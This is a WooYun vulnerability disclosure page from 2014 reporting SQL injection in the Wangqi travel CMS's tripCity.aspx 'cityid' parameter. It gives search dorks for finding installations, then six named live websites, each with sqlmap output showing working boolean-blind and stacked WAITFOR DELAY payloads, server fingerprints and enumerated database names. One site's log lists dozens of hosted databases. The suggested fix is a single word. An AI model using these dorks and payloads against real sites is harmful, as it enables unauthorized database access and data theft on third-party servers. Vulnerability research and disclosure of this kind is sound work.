当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070337

漏洞标题:网奇cms旗下旅游系统一处sql注入漏洞#4

相关厂商:wangqi.com

漏洞作者: Mosuan

提交时间:2014-08-01 14:48

修复时间:2014-10-27 14:50

公开时间:2014-10-27 14:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-01: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
1970-02-25: 细节向核心白帽子及相关领域专家公开
1970-03-07: 细节向普通白帽子公开
1970-03-17: 细节向实习白帽子公开
2014-10-27: 细节向公众公开

简要描述:

rt

详细说明:

关键词

inurl:tripCity.aspx?cityid=
Powered by wqEtrip1.5
Powered by 网奇E游通


WooYun: 网奇cms旗下某系统存在sql注入(应该是通杀的,数据库权限都好大)
再次看了下我这个漏洞,发现的
举几个例子(看到浩天牛了,好激动)

注入地址:http://www.fengguang.cn/tripCity.aspx?cityid=26
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 17:14:56
[17:14:56] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.fengguang.cn\session' as session file
[17:14:56] [INFO] testing connection to the target url
[17:14:56] [INFO] testing if the url is stable, wait a few seconds
[17:14:58] [INFO] url is stable
[17:14:58] [INFO] testing if GET parameter 'cityid' is dynamic
[17:14:58] [INFO] confirming that GET parameter 'cityid' is dynamic
[17:14:59] [INFO] GET parameter 'cityid' is dynamic
[17:14:59] [WARNING] heuristic test shows that GET parameter 'cityid' might not
be injectable
[17:14:59] [INFO] testing sql injection on GET parameter 'cityid'
[17:14:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:15:01] [INFO] GET parameter 'cityid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[17:15:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[17:15:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:15:02] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:15:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[17:15:03] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[17:15:04] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[17:15:04] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:15:35] [INFO] GET parameter 'cityid' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[17:15:35] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[17:15:36] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[17:15:36] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:16:07] [INFO] GET parameter 'cityid' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[17:16:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[17:16:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'cityid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 39 HTTP(s) requ
ests:
---
Place: GET
Parameter: cityid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cityid=26 AND 5611=5611
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: cityid=26; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: cityid=26 WAITFOR DELAY '0:0:5'--
---
[17:16:54] [INFO] testing MySQL
[17:16:55] [WARNING] the back-end DBMS is not MySQL
[17:16:55] [INFO] testing Oracle
[17:16:55] [WARNING] the back-end DBMS is not Oracle
[17:16:55] [INFO] testing PostgreSQL
[17:16:56] [WARNING] the back-end DBMS is not PostgreSQL
[17:16:56] [INFO] testing Microsoft SQL Server
[17:16:56] [INFO] confirming Microsoft SQL Server
[17:16:58] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[17:16:58] [INFO] fetching database names
[17:16:58] [INFO] fetching number of databases
[17:16:58] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[17:16:58] [INFO] retrieved: 6
[17:17:02] [INFO] retrieved:
[17:17:06] [INFO] retrieved:
[17:17:11] [INFO] retrieved:
[17:17:15] [INFO] retrieved:
[17:17:20] [INFO] retrieved:
[17:17:25] [INFO] retrieved:
[17:17:30] [INFO] falling back to current database
[17:17:30] [INFO] fetching current database
[17:17:30] [INFO] retrieved: wqtrip
available databases [1]:
[*] wqtrip
[17:18:06] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 35 times
[17:18:06] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.fengguang.cn'
[*] shutting down at 17:18:06


注入地址:http://www.u365.com/tripCity.aspx?cityid=337
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 17:18:12
[17:18:12] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.u365.com\session' as session file
[17:18:12] [INFO] testing connection to the target url
[17:18:12] [INFO] testing if the url is stable, wait a few seconds
[17:18:13] [INFO] url is stable
[17:18:13] [INFO] testing if GET parameter 'cityid' is dynamic
[17:18:14] [INFO] confirming that GET parameter 'cityid' is dynamic
[17:18:14] [INFO] GET parameter 'cityid' is dynamic
[17:18:15] [INFO] heuristic test shows that GET parameter 'cityid' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[17:18:15] [INFO] testing sql injection on GET parameter 'cityid'
[17:18:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:18:17] [INFO] GET parameter 'cityid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[17:18:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:18:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:18:50] [INFO] GET parameter 'cityid' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[17:18:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:19:21] [INFO] GET parameter 'cityid' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[17:19:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:19:21] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[17:19:23] [INFO] target url appears to have 1 columns in query
[17:19:24] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'cityid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 19 HTTP(s) requ
ests:
---
Place: GET
Parameter: cityid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cityid=337 AND 4742=4742
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: cityid=337; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: cityid=337 WAITFOR DELAY '0:0:5'--
---
[17:20:09] [INFO] testing Microsoft SQL Server
[17:20:10] [INFO] confirming Microsoft SQL Server
[17:20:11] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
[17:20:11] [INFO] fetching database names
[17:20:11] [INFO] fetching number of databases
[17:20:11] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[17:20:11] [INFO] retrieved: 8
[17:20:15] [INFO] retrieved:
[17:20:18] [INFO] retrieved:
[17:20:22] [INFO] retrieved:
[17:20:26] [INFO] retrieved:
[17:20:30] [INFO] retrieved:
[17:20:35] [INFO] retrieved:
[17:20:38] [INFO] retrieved:
[17:20:45] [INFO] retrieved:
[17:20:48] [INFO] falling back to current database
[17:20:48] [INFO] fetching current database
[17:20:48] [INFO] retrieved: xinhua
available databases [1]:
[*] xinhua
[17:21:13] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 12 times
[17:21:13] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.u365.com'
[*] shutting down at 17:21:13


注入地址:http://www.lzql.cn/tripCity.aspx?cityid=17
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 17:15:15
[17:15:15] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.lzql.cn\session' as session file
[17:15:15] [INFO] testing connection to the target url
[17:15:16] [INFO] testing if the url is stable, wait a few seconds
[17:15:17] [INFO] url is stable
[17:15:17] [INFO] testing if GET parameter 'cityid' is dynamic
[17:15:18] [INFO] confirming that GET parameter 'cityid' is dynamic
[17:15:18] [INFO] GET parameter 'cityid' is dynamic
[17:15:19] [INFO] heuristic test shows that GET parameter 'cityid' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[17:15:19] [INFO] testing sql injection on GET parameter 'cityid'
[17:15:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:15:22] [INFO] GET parameter 'cityid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[17:15:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:15:24] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:15:55] [INFO] GET parameter 'cityid' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[17:15:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:16:27] [INFO] GET parameter 'cityid' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[17:16:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:16:34] [INFO] target url appears to be UNION injectable with 1 columns
[17:16:35] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'cityid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 23 HTTP(s) requ
ests:
---
Place: GET
Parameter: cityid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cityid=17 AND 5933=5933
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: cityid=17; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: cityid=17 WAITFOR DELAY '0:0:5'--
---
[17:16:51] [INFO] testing Microsoft SQL Server
[17:16:52] [INFO] confirming Microsoft SQL Server
[17:16:54] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[17:16:54] [INFO] fetching database names
[17:16:54] [INFO] fetching number of databases
[17:16:54] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[17:16:54] [INFO] retrieved: 236
[17:17:04] [INFO] retrieved: admin2
[17:17:40] [INFO] retrieved: agency060
[17:18:40] [INFO] retrieved: ahlyf
[17:19:10] [INFO] retrieved: airticketii123
[17:20:26] [INFO] retrieved: aivdb
[17:20:59] [INFO] retrieved: babyguai
[17:21:55] [INFO] retrieved: baiduzhidao
[17:23:13] [INFO] retrieved: baoxinyong
[17:24:24] [INFO] retrieved: bestprin
[17:25:20] [INFO] retrieved: biouc
[17:25:53] [INFO] retrieved: bjztwl
[17:26:30] [INFO] retrieved: bxwda
[17:27:02] [INFO] retrieved: bzzpwcom
[17:27:46] [INFO] retrieved: c2011
[17:28:24] [INFO] retrieved: cainiaofenxiao
[17:29:44] [INFO] retrieved: cangcigev5
[17:30:38] [INFO] retrieved: caojialu
[17:31:25] [INFO] retrieved: ccgrass
[17:32:08] [INFO] retrieved: cddaronghe
[17:33:06] [INFO] retrieved: cdhsjy2014
[17:34:05] [INFO] retrieved: cdrrr
[17:35:05] [INFO] retrieved: cdsnqyjxh
[17:35:57] [INFO] retrieved: cdxrgg
[17:36:33] [INFO] retrieved: ceping
[17:37:11] [INFO] retrieved: cf555
[17:37:57] [INFO] retrieved: cfeng
[17:38:54] [INFO] retrieved: changyunhu
[17:39:51] [INFO] retrieved: chinelecom
[17:40:56] [INFO] retrieved: chuanlian
[17:41:52] [INFO] retrieved: clan1688


注入地址:http://www.free-100.net/tripCity.aspx?cityid=15
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 17:17:19
[17:17:19] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.free-100.net\session' as session file
[17:17:19] [INFO] testing connection to the target url
[17:17:20] [INFO] testing if the url is stable, wait a few seconds
[17:17:24] [INFO] url is stable
[17:17:24] [INFO] testing if GET parameter 'cityid' is dynamic
[17:17:24] [WARNING] GET parameter 'cityid' appears to be not dynamic
[17:17:27] [INFO] heuristic test shows that GET parameter 'cityid' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[17:17:27] [INFO] testing sql injection on GET parameter 'cityid'
[17:17:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[17:18:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:18:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:18:49] [INFO] GET parameter 'cityid' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[17:18:49] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:19:27] [INFO] GET parameter 'cityid' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[17:19:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:19:37] [INFO] target url appears to be UNION injectable with 1 columns
[17:19:38] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[17:19:38] [INFO] checking if the injection point on GET parameter 'cityid' is a
false positive
GET parameter 'cityid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 35 HTTP(s) requ
ests:
---
Place: GET
Parameter: cityid
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: cityid=15; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: cityid=15 WAITFOR DELAY '0:0:5'--
---
[17:20:13] [INFO] testing Microsoft SQL Server
[17:20:13] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[17:20:29] [INFO] confirming Microsoft SQL Server
[17:21:03] [INFO] adjusting time delay to 3 seconds due to good response times
[17:21:04] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[17:21:04] [INFO] fetching database names
[17:21:04] [INFO] fetching number of databases
[17:21:04] [INFO] retrieved: 21
[17:21:45] [INFO] retrieved: 123
[17:23:34] [INFO] retrieved: Adventure


注入地址:http://www.qdcqlxs.com/tripCity.aspx?cityid=6
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 17:23:55
[17:23:55] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.qdcqlxs.com\session' as session file
[17:23:55] [INFO] testing connection to the target url
[17:23:56] [INFO] testing if the url is stable, wait a few seconds
[17:23:57] [INFO] url is stable
[17:23:57] [INFO] testing if GET parameter 'cityid' is dynamic
[17:23:58] [WARNING] GET parameter 'cityid' appears to be not dynamic
[17:23:59] [INFO] heuristic test shows that GET parameter 'cityid' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[17:23:59] [INFO] testing sql injection on GET parameter 'cityid'
[17:23:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[17:26:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:26:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:26:59] [INFO] GET parameter 'cityid' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[17:26:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:27:31] [INFO] GET parameter 'cityid' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[17:27:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:27:37] [INFO] target url appears to be UNION injectable with 1 columns
[17:27:38] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[17:27:38] [INFO] checking if the injection point on GET parameter 'cityid' is a
false positive
GET parameter 'cityid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 35 HTTP(s) requ
ests:
---
Place: GET
Parameter: cityid
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: cityid=6; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: cityid=6 WAITFOR DELAY '0:0:5'--
---
[17:28:13] [INFO] testing Microsoft SQL Server
[17:28:13] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[17:28:29] [INFO] confirming Microsoft SQL Server
[17:28:46] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[17:28:46] [INFO] fetching database names
[17:28:46] [INFO] fetching number of databases
[17:28:46] [INFO] retrieved:
[17:29:02] [INFO] adjusting time delay to 2 seconds due to good response times
3816
[17:30:13] [INFO] retrieved: 123
[17:31:34] [INFO] retrieved: host


注入地址:http://www.klcct.com/tripCity.aspx?cityid=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 17:21:38
[17:21:38] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.klcct.com\session' as session file
[17:21:38] [INFO] testing connection to the target url
[17:21:40] [INFO] testing if the url is stable, wait a few seconds
[17:21:42] [INFO] url is stable
[17:21:42] [INFO] testing if GET parameter 'cityid' is dynamic
[17:21:43] [INFO] confirming that GET parameter 'cityid' is dynamic
[17:21:43] [INFO] GET parameter 'cityid' is dynamic
[17:21:44] [INFO] heuristic test shows that GET parameter 'cityid' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[17:21:44] [INFO] testing sql injection on GET parameter 'cityid'
[17:21:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:21:47] [INFO] GET parameter 'cityid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[17:21:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:21:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:22:28] [INFO] GET parameter 'cityid' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[17:22:28] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[17:22:59] [INFO] GET parameter 'cityid' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[17:22:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:23:00] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[17:23:02] [INFO] target url appears to have 1 columns in query
[17:23:03] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'cityid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 19 HTTP(s) requ
ests:
---
Place: GET
Parameter: cityid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cityid=1 AND 9338=9338
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: cityid=1; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: cityid=1 WAITFOR DELAY '0:0:5'--
---
[17:23:05] [INFO] testing Microsoft SQL Server
[17:23:05] [INFO] confirming Microsoft SQL Server
[17:23:07] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[17:23:07] [INFO] fetching database names
[17:23:07] [INFO] fetching number of databases
[17:23:07] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[17:23:07] [INFO] retrieved: 2
[17:23:10] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[17:23:11] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[17:23:13] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[17:23:14] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[17:23:15] [CRITICAL] unable to connect to the target url or proxy
[17:23:15] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 14 times
[*] shutting down at 17:23:15

漏洞证明:

详细说明

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-10-27 14:50

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-08-13 03:26 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @疯狗 这个不是通用的吗?怎么公开了!

  2. 2014-08-16 08:55 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @疯狗 狗哥.....

  3. 2014-08-18 12:36 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @Mosuan 你提交的类型选错了,已经改过来了

  4. 2014-08-18 12:42 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @疯狗 狗哥不好意思麻烦了,挖洞都是晚上的,可能眼花了- -